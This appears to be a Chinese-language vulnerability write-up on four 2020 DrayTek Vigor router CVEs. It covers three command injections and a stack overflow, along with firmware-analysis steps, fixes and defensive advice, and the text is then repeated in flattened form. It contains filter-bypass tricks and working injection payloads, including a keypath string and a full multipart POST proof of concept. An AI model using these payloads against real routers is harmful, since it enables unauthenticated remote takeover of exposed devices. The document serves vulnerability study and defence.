draytek漏洞分析
字数 2244 2025-08-06 08:35:41

DrayTek 路由器漏洞分析与复现指南

1. CVE-2020-8515 - 未授权命令注入漏洞

漏洞描述

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta 和 Vigor300B 1.3.3_Beta/1.4.2.1_Beta/1.4.4_Beta 设备在 cgi-bin/mainfunction.cgi 中允许通过 shell 元字符实现远程代码执行(无需认证)。

漏洞分析

漏洞位置

  • 文件路径: cgi-bin/mainfunction.cgi
  • 关键参数: keyPath (登录过程中的参数)

漏洞原理

  1. 程序通过 PATH_INFO 环境变量确定访问路径
  2. 通过 action 参数确定执行动作 (action=login)
  3. 在登录函数中处理 keypath 参数时存在命令注入

关键代码分析

// 获取keypath参数值
char *keypath = getenv("keypath");

// 对keypath进行检查
check(keypath);  // 过滤不严

// 拼接命令
snprintf(command, sizeof(command), "openssl rsautl -inkey '/tmp/rsa/private_key_%s' -decrypt -in /tmp/rsa/binary_login", keypath);

// 执行命令
popen(command, "r");

过滤绕过技巧

原始过滤字符: ;|>$( (空格)
可绕过方式:

  • 使用 %0a (换行符) 或 %0d (回车符)
  • 使用 ${IFS} 代替空格
  • 利用 $ 未被严格过滤的特点

漏洞复现步骤

  1. 构造POST请求到 /cgi-bin/mainfunction.cgi
  2. 设置 action=login
  3. keypath 参数中注入命令:
    keypath=aaa'%0als%0a'
    
  4. 观察命令执行结果

修复方案

1.5.1版本修复:

  • 增加十六进制字符检查
  • 完善过滤函数:
    int check(char *input) {
        // 更严格的过滤逻辑
        // 包括检查$符号和更多特殊字符
    }
    

2. CVE-2020-15415 - 文件上传命令注入漏洞

漏洞描述

在DrayTek Vigor3900, Vigor2960和Vigor300B设备1.5.1之前版本中,cgi-bin/mainfunction.cgi/cvmcfgupload 允许通过文件上传时的filename参数实现远程命令执行。

漏洞分析

漏洞位置

  • 访问路径: cgi-bin/mainfunction.cgi/cvmcfgupload
  • 触发条件: Content-Type为text/x-python-script
  • 关键参数: filename

漏洞原理

  1. 程序处理上传文件时获取filename值
  2. 将filename拼接到系统命令中:
    snprintf(command, sizeof(command), "mkdir -p /data/cvm/files/'%s'", filename);
    
  3. 使用system()执行拼接后的命令

漏洞复现POC

POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
Host: target_ip:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 174

------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
Content-Type: text/x-python-script

[文件内容]
------WebKitFormBoundary--

关键点说明

  • 需要添加_字符确保命令正确闭合
  • 实际测试发现Content-Type不是必要条件
  • 利用multipart/form-data编码绕过

修复方案

1.5.1.2版本直接对filename值进行过滤:

// 新增过滤逻辑
filter_filename(filename);

3. CVE-2020-19664 - toLogin2FA动作命令注入

漏洞描述

DrayTek Vigor2960 1.5.1 在toLogin2FA动作中存在通过shell元字符实现的远程命令执行漏洞。

漏洞分析

漏洞位置

  • 触发路径: mainfunction.cgi
  • 动作参数: action=toLogin2FA
  • 利用参数: HTTP_HOST头

漏洞原理

  1. 获取HTTP_COOKIE环境变量
  2. 如果不存在cookie则返回-10
  3. 将返回值与HTTP_HOST拼接成命令:
    snprintf(command, sizeof(command), "/sbin/auth_check.sh Interface %d %s", ret, HTTP_HOST);
    
  4. 通过run_command执行

利用难点

  • 需要精确控制HTTP_HOST头的注入
  • 1.5.1.2版本修复方式:
    // 修改为如果cookie为空则传入NULL
    if(HTTP_COOKIE == NULL) {
        param = NULL;
    }
    

4. CVE-2020-14993 - 栈溢出漏洞

漏洞描述

DrayTek Vigor2960, Vigor3900和Vigor300B设备1.5.1.1之前版本中,authusersms动作的formuserphonenumber参数存在栈溢出漏洞。

漏洞分析

漏洞位置

  • 触发路径: mainfunction.cgi
  • 动作参数: action=authusersms
  • 关键参数: formuserphonenumber

漏洞原理

char v31[128]; // 固定大小缓冲区
char* phone = getenv("formuserphonenumber");
strcpy(v31, phone); // 无长度检查的直接拷贝

利用特点

  • 设备未开启ASLR和NX防护
  • 可通过ret2shellcode利用
  • 需要认证后才能触发

5. 漏洞挖掘与分析方法

固件分析流程

  1. 提取固件:

    # 使用ubi_reader提取UBI类型固件
    ubi_reader/extract_files.py firmware.bin
    
  2. 分析web服务器配置:

    # 查看lighttpd配置
    cat ./etc/lighttpd/lighttpd.conf
    
  3. 定位CGI程序:

    • 查找cgi-bin目录
    • 分析mainfunction.cgi等程序

IDA分析技巧

  1. 通过字符串交叉引用定位关键函数

  2. 分析环境变量获取流程:

    getenv("PATH_INFO");
    getenv("QUERY_STRING");
    getenv("HTTP_COOKIE");
    
  3. 使用diaphora进行版本对比:

    • 生成1.5.1.1版本的数据库
    • 与1.5.1.2版本进行对比
    • 查找修复的漏洞点

6. 总结与防护建议

高危漏洞

  1. CVE-2020-8515 - 未授权RCE (影响最大)
  2. CVE-2020-15415 - 文件上传RCE

防护措施

  1. 升级到最新固件版本(1.5.1.2及以上)
  2. 限制路由器管理界面访问
  3. 部署网络入侵检测规则

研究价值

  • DrayTek设备在公网暴露数量大(仅Vigor2960就有2万多IP)
  • 企业级设备安全影响范围广
  • 漏洞利用链可深入研究

参考资源

  1. https://nosec.org/home/detail/4631.html
  2. https://github.com/CLP-team/Vigor-Commond-Injection
  3. https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices/
  4. 相关man page: cgiGetFiles, cgiGetFile, cgiEscape
DrayTek 路由器漏洞分析与复现指南 1. CVE-2020-8515 - 未授权命令注入漏洞 漏洞描述 DrayTek Vigor2960 1.3.1_ Beta, Vigor3900 1.4.4_ Beta 和 Vigor300B 1.3.3_ Beta/1.4.2.1_ Beta/1.4.4_ Beta 设备在 cgi-bin/mainfunction.cgi 中允许通过 shell 元字符实现远程代码执行(无需认证)。 漏洞分析 漏洞位置 文件路径: cgi-bin/mainfunction.cgi 关键参数: keyPath (登录过程中的参数) 漏洞原理 程序通过 PATH_INFO 环境变量确定访问路径 通过 action 参数确定执行动作 ( action=login ) 在登录函数中处理 keypath 参数时存在命令注入 关键代码分析 过滤绕过技巧 原始过滤字符: ;|>$( (空格) 可绕过方式: 使用 %0a (换行符) 或 %0d (回车符) 使用 ${IFS} 代替空格 利用 $ 未被严格过滤的特点 漏洞复现步骤 构造POST请求到 /cgi-bin/mainfunction.cgi 设置 action=login 在 keypath 参数中注入命令: 观察命令执行结果 修复方案 1.5.1版本修复: 增加十六进制字符检查 完善过滤函数: 2. CVE-2020-15415 - 文件上传命令注入漏洞 漏洞描述 在DrayTek Vigor3900, Vigor2960和Vigor300B设备1.5.1之前版本中, cgi-bin/mainfunction.cgi/cvmcfgupload 允许通过文件上传时的filename参数实现远程命令执行。 漏洞分析 漏洞位置 访问路径: cgi-bin/mainfunction.cgi/cvmcfgupload 触发条件: Content-Type为 text/x-python-script 关键参数: filename 漏洞原理 程序处理上传文件时获取filename值 将filename拼接到系统命令中: 使用system()执行拼接后的命令 漏洞复现POC 关键点说明 需要添加 _ 字符确保命令正确闭合 实际测试发现Content-Type不是必要条件 利用multipart/form-data编码绕过 修复方案 1.5.1.2版本直接对filename值进行过滤: 3. CVE-2020-19664 - toLogin2FA动作命令注入 漏洞描述 DrayTek Vigor2960 1.5.1 在 toLogin2FA 动作中存在通过shell元字符实现的远程命令执行漏洞。 漏洞分析 漏洞位置 触发路径: mainfunction.cgi 动作参数: action=toLogin2FA 利用参数: HTTP_ HOST头 漏洞原理 获取HTTP_ COOKIE环境变量 如果不存在cookie则返回-10 将返回值与HTTP_ HOST拼接成命令: 通过run_ command执行 利用难点 需要精确控制HTTP_ HOST头的注入 1.5.1.2版本修复方式: 4. CVE-2020-14993 - 栈溢出漏洞 漏洞描述 DrayTek Vigor2960, Vigor3900和Vigor300B设备1.5.1.1之前版本中, authusersms 动作的 formuserphonenumber 参数存在栈溢出漏洞。 漏洞分析 漏洞位置 触发路径: mainfunction.cgi 动作参数: action=authusersms 关键参数: formuserphonenumber 漏洞原理 利用特点 设备未开启ASLR和NX防护 可通过ret2shellcode利用 需要认证后才能触发 5. 漏洞挖掘与分析方法 固件分析流程 提取固件: 分析web服务器配置: 定位CGI程序: 查找 cgi-bin 目录 分析 mainfunction.cgi 等程序 IDA分析技巧 通过字符串交叉引用定位关键函数 分析环境变量获取流程: 使用diaphora进行版本对比: 生成1.5.1.1版本的数据库 与1.5.1.2版本进行对比 查找修复的漏洞点 6. 总结与防护建议 高危漏洞 CVE-2020-8515 - 未授权RCE (影响最大) CVE-2020-15415 - 文件上传RCE 防护措施 升级到最新固件版本(1.5.1.2及以上) 限制路由器管理界面访问 部署网络入侵检测规则 研究价值 DrayTek设备在公网暴露数量大(仅Vigor2960就有2万多IP) 企业级设备安全影响范围广 漏洞利用链可深入研究 参考资源 https://nosec.org/home/detail/4631.html https://github.com/CLP-team/Vigor-Commond-Injection https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices/ 相关man page: cgiGetFiles, cgiGetFile, cgiEscape